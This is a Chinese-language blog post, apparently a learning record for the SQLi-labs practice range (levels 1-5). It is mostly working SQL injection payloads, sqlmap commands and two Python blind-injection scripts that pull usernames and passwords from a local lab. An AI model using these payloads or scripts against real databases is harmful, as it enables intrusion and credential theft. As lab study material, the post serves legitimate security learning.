SQLI labs 靶场学习记录

admin 2022年1月6日01:08:44安全博客评论25 views7076字阅读23分35秒阅读模式

基础挑战1-20关

less-1

1
2
3
4
5
1' order by 3%23    //得到列数为3
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'%23 //得到表名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'%23 //得到列名
-1' union select 1,username,password from users where id=3%23 //爆破得到数据

联合查询注入

1
?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

报错注入1

手动修改 LIMIT+0,1 来进行结果偏移

1
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

报错注入2

手动修改 LIMIT+0,1 来进行结果偏移

1
?id=1'+AND(SELECT+1+FROM(SELECT+count(*),CONCAT((SELECT+(SELECT+(SELECT+CONCAT(0x7e,0x27,cast(username+AS+CHAR),0x27,0x7e)+FROM+users+LIMIT+0,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1--+

布尔盲注

数据库第一个字母为 s

1
2
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+

延时盲注

数据库第一个字母的 ascii 码为 115,即s

1
2
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

联合查询注入

1
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

1
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

1
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

1
sqlmap -u "http://127.0.0.1:80/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

less2

在添加’后返回

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,查看源码

1
2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);

和less1一样 payload为

1
2
?id=-1 or 1=1%23
?id=-1+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

less3

添加’后返回

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1

sql语句为:

1
2
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);

所以我们需要闭合

1
2
?id=-1') or 1=1%23
?id=-1%27)+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

less4

添加’后为报错添加”后报错如下:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"-1"") LIMIT 0,1' at line 1

sql语句为:

1
2
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

payload如下:

1
2
?id=-1") or 1=1%23
?id=-1")+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

less5

尝试发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

推测为:

1
select * from users where id='input' LIMIT 0,1;

sql语句为:

1
2
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

尝试之前的方法不会返回我们注入的信息,如果注入成功,会返回Your are in...,出错的话就不会返回字符串,所以这里我们可以考虑

  • 盲注
  • 延时注入
  • 报错注入

盲注

Left()

例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用left(database(),1)>'a'这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

substr()、acsii()

1
2
3
4
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23     //截取数据库下第一个表的第一个字符与80ascii值进行对比

找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1

使用regexp()

1
2
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ord()、mid()

1
2
3
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding=utf-8
import requests

result = ""
url_paylaod = "http://127.0.0.1/Less-5/?id=1' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,[email protected]&%/^!~"
result_length = "http://127.0.0.1/Less-5/?id=1' and length(({0})) >{1} %23"

def get_result_length(payload, value):
for i in range(1,100):
url = result_length.format(payload, i)
response = requests.get(url)
if len(response.text) > value:
print('-----length is :%s' % str(i))
return i

def get_result(result_length, payload, value):
for i in range(1, result_length):
for char in chars:
url = url_paylaod.format(payload, i, ord(char))
response = requests.get(url)
if len(response.text) > value:
global result
result += char
print('----- data is :%s' % result)
break
payload = "select password from users where id=3 "
value = 710
get_result(get_result_length(payload, value), payload, value)
print(result)

报错注入

推荐一篇超详细的讲解报错注入的文章——Mysql报错注入原理分析(count()、rand()、group by)

1
2
3
4
5
6
7
8
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。 benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1
2
3
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding=utf-8
import requests
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
data=""

url = "http://127.0.0.1/Less-5/?id=1' and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23"
url_length="http://127.0.0.1/Less-5/?id=1' and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23"
def get_length(payload):
for n in range(1,100):
url= url_length.format(payload,n)
#print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v))
#print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True

databse_payload ="select user()"
get_data(databse_payload,value,get_length(databse_payload)+1)

更新中…

参考:

https://www.sqlsec.com/2020/05/sqlilabs.html

http://blog.zeddyu.info/2019/03/03/Sqli-lab%E9%80%9F%E5%88%B7%E8%AE%B0%E5%BD%95(1-53)/

FROM :ol4three.com | Author:ol4three

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:08:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  SQLI labs 靶场学习记录 http://cn-sec.com/archives/721137.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: